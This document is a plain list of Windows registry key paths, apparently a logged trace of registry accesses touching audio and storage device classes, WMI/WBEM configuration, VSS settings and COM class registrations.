HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\#
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\DeviceDesc
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Data
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{eb115ffc-10c8-4964-831d-6dcb02e6f23f}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eheadphonewave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eHeadphoneWave\Control
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eHeadphoneWave\Control\Linked
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994ad04-93ef-11d0-a3cc-00a0c9223196}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eCDInTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eCDInWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eMicInTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eMicInWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eSpeakerTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eSpeakerWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\ConfigFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#hdaudio#func_01&ven_8384&dev_7680&subsys_83847680&rev_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eheadphonetopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Data
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#hdaudio#func_01&ven_8384&dev_7680&subsys_83847680&rev_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eheadphonewave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneWave\Properties
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\Tracing\WMI
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\SessionEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Level
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AreaFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Session
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\BufferSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MinimumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFileMode
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\FlushTimer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AgeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\Setup
HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Safeboot\Option
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\VssAccessControl
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Rpc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Settings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag\WMI Writer
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax
HKEY_LOCAL_MACHINE\Software\Classes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\IdentifierLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\QueryLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PathLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbThrottlingEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighMaxLimitFactor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbTaskMaxSleep
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3Mult
HKEY_LOCAL_MACHINE\system\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Unchecked Task Count
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Working Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Build
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\MOF Self-Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Default Repository Driver
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueCoreFsrepVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Cache Spill Ratio
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckPointValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SnapShotValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckRepositoryOnNextStartup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NumWriteIdCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Item Age (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NextAutoRecoverFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Enable Provider Subsystem
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Server
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableEvents
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssToBeInitialized
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Low Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\High Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Wait On Events (ms)
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\ESS
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Merger Query Arbitration Enabled
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerBatchSize
